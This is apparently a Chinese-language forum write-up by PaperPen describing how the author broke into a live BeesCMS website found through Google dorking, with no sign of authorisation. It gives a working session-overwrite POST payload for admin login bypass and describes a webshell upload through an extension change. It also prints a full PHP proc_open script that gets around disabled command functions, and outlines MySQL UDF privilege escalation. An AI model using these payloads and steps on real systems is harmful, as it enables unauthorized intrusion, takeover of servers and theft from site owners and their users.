摘要:這是一次挖掘cms通用漏洞時發現的網站,技術含量雖然不是很高,但是也拿出來和大家分享一下吧,希望能給一部分人帶來收獲。
0x01 進入后台
在通過googlehack語法挖掘beescms時發現了這個站點
利用網上的payload,在/mx_form/mx_form.php?id=12頁面使用hackbarPOST以下數據
_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=100000000000000000000000000000000000
- 1
然后訪問/admin便可以直接進入后台
0x02 拿shell
進入后台后在‘添加產品模塊’處尋找到了上傳點
嘗試上馬,但提示‘上傳圖片格式不正確’,於是上傳圖片馬抓包,在repeater里更改后綴為php,然后go
根據回顯沒有看出是否上傳成功,但也沒說失敗。經過尋找在‘上傳圖片管理’處找到
點擊圖片發現解析了,直接菜刀連接,拿到shell
0x03 繞過安全模式
拿到shell后進入終端查看權限,但卻發現執行命令失敗,可能遠程啟用了安全模式
經過在網上一番查找得出:要找到未禁用的php執行函數。先上傳了一個查看phpinfo的腳本,找到已禁用的函數
發現proc_open函數未被禁用,於是找到如下php腳本
<?php
$descriptorspec=array( //這個索引數組用力指定要用proc_open創建的子進程的描述符
0=>array('pipe','r'), //STDIN
1=>array('pipe','w'),//STDOUT
2=>array('pipe','w') //STDERROR
);
$handle=proc_open('whoami',$descriptorspec,$pipes,NULL);
//$pipes中保存的是子進程創建的管道對應到 PHP 這一端的文件指針($descriptorspec指定的)
if(!is_resource($handle)){
die('proc_open failed');
}
//fwrite($pipes[0],'ipconfig');
print('stdout:<br/>');
while($s=fgets($pipes[1])){
print_r($s);
}
print('===========<br/>stderr:<br/>');
while($s=fgets($pipes[2])){
print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
上傳后可以執行命令,成功繞過安全模式
0x04 提權
上圖可以看出只是iis權限,能做的事很局限,所以要想辦法提權。
菜刀中雖然不能執行命令,但是可以查看文件,於是找到了數據庫配置文件
發現是mysql的數據庫,想到udf提權,於是上傳udf提權腳本(附件中)
登錄后導出udf便可以執行命令了
提權成功,但是不可以添加用戶,也不能開3389。
結語:希望路過的各位大佬可以指點迷津,也歡迎各位來找我交流探討,感謝閱讀。
參考鏈接:
PHP限制命令執行繞過https://www.cnblogs.com/R4v3n/articles/9081202.html
作者: PaperPen
來源:先知社區
如有侵權,請聯系刪除